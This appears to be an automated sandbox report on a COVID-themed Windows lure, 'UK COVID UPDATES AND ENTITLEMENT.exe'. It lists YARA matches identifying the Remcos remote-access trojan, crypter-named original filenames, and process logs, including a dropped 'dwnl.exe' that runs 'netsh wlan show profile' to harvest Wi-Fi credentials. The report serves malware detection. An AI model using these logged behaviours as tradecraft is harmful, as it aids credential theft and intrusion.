Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_014238C0
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_01420D78
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_01421DB0
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_0142CFC1
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_0142DF85
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_0142DF9E
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_0665E4A8
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_0665C1D8
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_0665F150
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_0665B860
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_06657813
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_0665E497
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_06658CD0
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_066557C1
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_066557D0
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_0665B84F
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_0082739A

Source: UK COVID UPDATES AND ENTITLEMENT.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: UK COVID UPDATES AND ENTITLEMENT.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe

Section loaded: mscorjit.dll

Source: UK COVID UPDATES AND ENTITLEMENT.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED

Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.unpack, type: UNPACKEDPE	Matched rule: Remcos hash1 = 7d5efb7e8b8947e5fe1fa12843a2faa0ebdfd7137582e5925a0b9c6a9350b0a5, author = JPCERT/CC Incident Response Group, description = detect Remcos in memory, rule_usage = memory scan
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos hash1 = 7d5efb7e8b8947e5fe1fa12843a2faa0ebdfd7137582e5925a0b9c6a9350b0a5, author = JPCERT/CC Incident Response Group, description = detect Remcos in memory, rule_usage = memory scan
Source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos hash1 = 7d5efb7e8b8947e5fe1fa12843a2faa0ebdfd7137582e5925a0b9c6a9350b0a5, author = JPCERT/CC Incident Response Group, description = detect Remcos in memory, rule_usage = memory scan
Source: 28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos hash1 = 7d5efb7e8b8947e5fe1fa12843a2faa0ebdfd7137582e5925a0b9c6a9350b0a5, author = JPCERT/CC Incident Response Group, description = detect Remcos in memory, rule_usage = memory scan
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos hash1 = 7d5efb7e8b8947e5fe1fa12843a2faa0ebdfd7137582e5925a0b9c6a9350b0a5, author = JPCERT/CC Incident Response Group, description = detect Remcos in memory, rule_usage = memory scan
Source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3ed9988.6.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3ed9988.6.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos hash1 = 7d5efb7e8b8947e5fe1fa12843a2faa0ebdfd7137582e5925a0b9c6a9350b0a5, author = JPCERT/CC Incident Response Group, description = detect Remcos in memory, rule_usage = memory scan
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3ed9988.6.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.2f737f0.1.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.2f737f0.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos hash1 = 7d5efb7e8b8947e5fe1fa12843a2faa0ebdfd7137582e5925a0b9c6a9350b0a5, author = JPCERT/CC Incident Response Group, description = detect Remcos in memory, rule_usage = memory scan
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Remcos hash1 = 7d5efb7e8b8947e5fe1fa12843a2faa0ebdfd7137582e5925a0b9c6a9350b0a5, author = JPCERT/CC Incident Response Group, description = detect Remcos in memory, rule_usage = memory scan
Source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Remcos hash1 = 7d5efb7e8b8947e5fe1fa12843a2faa0ebdfd7137582e5925a0b9c6a9350b0a5, author = JPCERT/CC Incident Response Group, description = detect Remcos in memory, rule_usage = memory scan
Source: 28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.2f737f0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.2f737f0.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.unpack, type: UNPACKEDPE	Matched rule: Remcos hash1 = 7d5efb7e8b8947e5fe1fa12843a2faa0ebdfd7137582e5925a0b9c6a9350b0a5, author = JPCERT/CC Incident Response Group, description = detect Remcos in memory, rule_usage = memory scan
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Remcos hash1 = 7d5efb7e8b8947e5fe1fa12843a2faa0ebdfd7137582e5925a0b9c6a9350b0a5, author = JPCERT/CC Incident Response Group, description = detect Remcos in memory, rule_usage = memory scan
Source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0000001C.00000000.430910958.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 0000001C.00000000.430910958.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Remcos hash1 = 7d5efb7e8b8947e5fe1fa12843a2faa0ebdfd7137582e5925a0b9c6a9350b0a5, author = JPCERT/CC Incident Response Group, description = detect Remcos in memory, rule_usage = memory scan
Source: 0000001C.00000000.430910958.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000000.00000002.418169362.0000000002F23000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Remcos hash1 = 7d5efb7e8b8947e5fe1fa12843a2faa0ebdfd7137582e5925a0b9c6a9350b0a5, author = JPCERT/CC Incident Response Group, description = detect Remcos in memory, rule_usage = memory scan
Source: 0000001C.00000000.429209935.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 0000001C.00000000.429209935.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Remcos hash1 = 7d5efb7e8b8947e5fe1fa12843a2faa0ebdfd7137582e5925a0b9c6a9350b0a5, author = JPCERT/CC Incident Response Group, description = detect Remcos in memory, rule_usage = memory scan
Source: 0000001C.00000000.429209935.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000000.00000002.418954944.0000000003ED9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Remcos hash1 = 7d5efb7e8b8947e5fe1fa12843a2faa0ebdfd7137582e5925a0b9c6a9350b0a5, author = JPCERT/CC Incident Response Group, description = detect Remcos in memory, rule_usage = memory scan
Source: 00000000.00000002.419012391.0000000003F25000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Remcos hash1 = 7d5efb7e8b8947e5fe1fa12843a2faa0ebdfd7137582e5925a0b9c6a9350b0a5, author = JPCERT/CC Incident Response Group, description = detect Remcos in memory, rule_usage = memory scan
Source: 0000001C.00000002.467780819.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 0000001C.00000002.467780819.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Remcos hash1 = 7d5efb7e8b8947e5fe1fa12843a2faa0ebdfd7137582e5925a0b9c6a9350b0a5, author = JPCERT/CC Incident Response Group, description = detect Remcos in memory, rule_usage = memory scan
Source: 0000001C.00000002.467780819.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000000.00000002.418279701.0000000002F5D000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Remcos hash1 = 7d5efb7e8b8947e5fe1fa12843a2faa0ebdfd7137582e5925a0b9c6a9350b0a5, author = JPCERT/CC Incident Response Group, description = detect Remcos in memory, rule_usage = memory scan

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: String function: 0040FC1A appears 54 times
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: String function: 0040FCBA appears 34 times

Source: UK COVID UPDATES AND ENTITLEMENT.exe	Binary or memory string: OriginalFilename vs UK COVID UPDATES AND ENTITLEMENT.exe
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421491993.0000000008040000.00000004.00020000.sdmp	Binary or memory string: OriginalFilenameEefpkmt.dll0 vs UK COVID UPDATES AND ENTITLEMENT.exe
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.416785382.00000000011DB000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs UK COVID UPDATES AND ENTITLEMENT.exe
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp	Binary or memory string: OriginalFilenameNewtonsoft.Json.dll2 vs UK COVID UPDATES AND ENTITLEMENT.exe
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000000.227770784.0000000000A32000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameUK CRYPTED.exe, vs UK COVID UPDATES AND ENTITLEMENT.exe
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.418954944.0000000003ED9000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameEcpxyswgubfautk.dll" vs UK COVID UPDATES AND ENTITLEMENT.exe
Source: UK COVID UPDATES AND ENTITLEMENT.exe	Binary or memory string: OriginalFilename vs UK COVID UPDATES AND ENTITLEMENT.exe
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000016.00000000.406987972.0000000000182000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameUK CRYPTED.exe, vs UK COVID UPDATES AND ENTITLEMENT.exe
Source: UK COVID UPDATES AND ENTITLEMENT.exe	Binary or memory string: OriginalFilename vs UK COVID UPDATES AND ENTITLEMENT.exe
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000017.00000000.408268140.0000000000222000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameUK CRYPTED.exe, vs UK COVID UPDATES AND ENTITLEMENT.exe
Source: UK COVID UPDATES AND ENTITLEMENT.exe	Binary or memory string: OriginalFilename vs UK COVID UPDATES AND ENTITLEMENT.exe
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000018.00000000.409445105.00000000000A2000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameUK CRYPTED.exe, vs UK COVID UPDATES AND ENTITLEMENT.exe
Source: UK COVID UPDATES AND ENTITLEMENT.exe	Binary or memory string: OriginalFilename vs UK COVID UPDATES AND ENTITLEMENT.exe
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000019.00000000.410713658.0000000000232000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameUK CRYPTED.exe, vs UK COVID UPDATES AND ENTITLEMENT.exe
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 0000001A.00000002.413557314.0000000000222000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameUK CRYPTED.exe, vs UK COVID UPDATES AND ENTITLEMENT.exe
Source: UK COVID UPDATES AND ENTITLEMENT.exe	Binary or memory string: OriginalFilename vs UK COVID UPDATES AND ENTITLEMENT.exe
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 0000001B.00000002.414728789.00000000000E2000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameUK CRYPTED.exe, vs UK COVID UPDATES AND ENTITLEMENT.exe
Source: UK COVID UPDATES AND ENTITLEMENT.exe	Binary or memory string: OriginalFilename vs UK COVID UPDATES AND ENTITLEMENT.exe
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 0000001C.00000003.464412455.0000000002D27000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamemspass.exe8 vs UK COVID UPDATES AND ENTITLEMENT.exe
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 0000001C.00000000.429240159.0000000000652000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameUK CRYPTED.exe, vs UK COVID UPDATES AND ENTITLEMENT.exe
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 0000001C.00000003.424932368.0000000002FAF000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameVNXT.exe* vs UK COVID UPDATES AND ENTITLEMENT.exe
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 0000001C.00000003.424932368.0000000002FAF000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamee.exe4 vs UK COVID UPDATES AND ENTITLEMENT.exe
Source: UK COVID UPDATES AND ENTITLEMENT.exe	Binary or memory string: OriginalFilenameUK CRYPTED.exe, vs UK COVID UPDATES AND ENTITLEMENT.exe

Source: UK COVID UPDATES AND ENTITLEMENT.exe	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: UK COVID UPDATES AND ENTITLEMENT.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: UK COVID UPDATES AND ENTITLEMENT.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\UK COVID UPDATES AND ENTITLEMENT.exe.log

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/14@101/5

Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe

Code function: 28_2_00408150 FindResourceA,LoadResource,LockResource,SizeofResource,

Source: UK COVID UPDATES AND ENTITLEMENT.exe	Virustotal: Detection: 26%
Source: UK COVID UPDATES AND ENTITLEMENT.exe	ReversingLabs: Detection: 15%

Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe

File read: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe

Jump to behavior

Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe 'C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe'
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Test-Connection www.google.com , www.youtube.com , www.google.com , www.youtube.com ,www.google.com , www.youtube.com
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Users\user\AppData\Local\Temp\dwnl.exe 'C:\Users\user\AppData\Local\Temp\dwnl.exe'
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6720 -s 920
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process created: C:\Windows\SysWOW64\netsh.exe 'netsh' wlan show profile
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Test-Connection www.google.com , www.youtube.com , www.google.com , www.youtube.com ,www.google.com , www.youtube.com
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
